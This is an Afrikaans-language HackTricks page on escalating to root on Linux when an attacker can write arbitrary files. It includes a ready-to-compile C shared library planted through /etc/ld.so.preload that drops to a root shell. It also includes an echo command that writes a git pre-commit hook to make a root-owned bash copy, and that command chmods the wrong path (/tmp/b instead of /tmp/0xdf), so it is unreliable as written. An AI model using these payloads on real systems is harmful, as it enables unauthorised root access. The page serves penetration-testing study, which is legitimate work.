Arbitraire Lêer Skryf na Root
Reading time: 2 minutes
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.
/etc/ld.so.preload
Hierdie lêer gedra soos die LD_PRELOAD
omgewing veranderlike, maar dit werk ook in SUID-binaries.
As jy dit kan skep of wysig, kan jy eenvoudig 'n pad na 'n biblioteek wat met elke uitgevoerde binêre gelaai sal word byvoeg.
Byvoorbeeld: echo "/tmp/pe.so" > /etc/ld.so.preload
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles
Git hooks
Git hooks is scripts wat op verskeie events in 'n git-repo uitgevoer word, soos wanneer 'n commit geskep word, 'n merge... So as 'n privileged script of gebruiker hierdie aksies gereeld uitvoer en dit moontlik is om in die .git
gids te skryf, kan dit gebruik word om privesc te verkry.
Byvoorbeeld, dit is moontlik om 'n script in 'n git repo in .git/hooks
te genereer sodat dit altyd uitgevoer word wanneer 'n nuwe commit geskep word:
echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit
Cron & Time files
TODO
Service & Socket files
TODO
binfmt_misc
Die lêer geleë in /proc/sys/fs/binfmt_misc
dui aan watter binêre uitvoering watter tipe lêers moet uitvoer. TODO: kyk na die vereistes om dit te misbruik om 'n rev shell uit te voer wanneer 'n algemene lêertipe oop is.
tip
Leer & oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer & oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ondersteun HackTricks
- Kyk na die subskripsie planne!
- Sluit aan by die 💬 Discord groep of die telegram groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel hacking truuks deur PRs in te dien na die HackTricks en HackTricks Cloud github repos.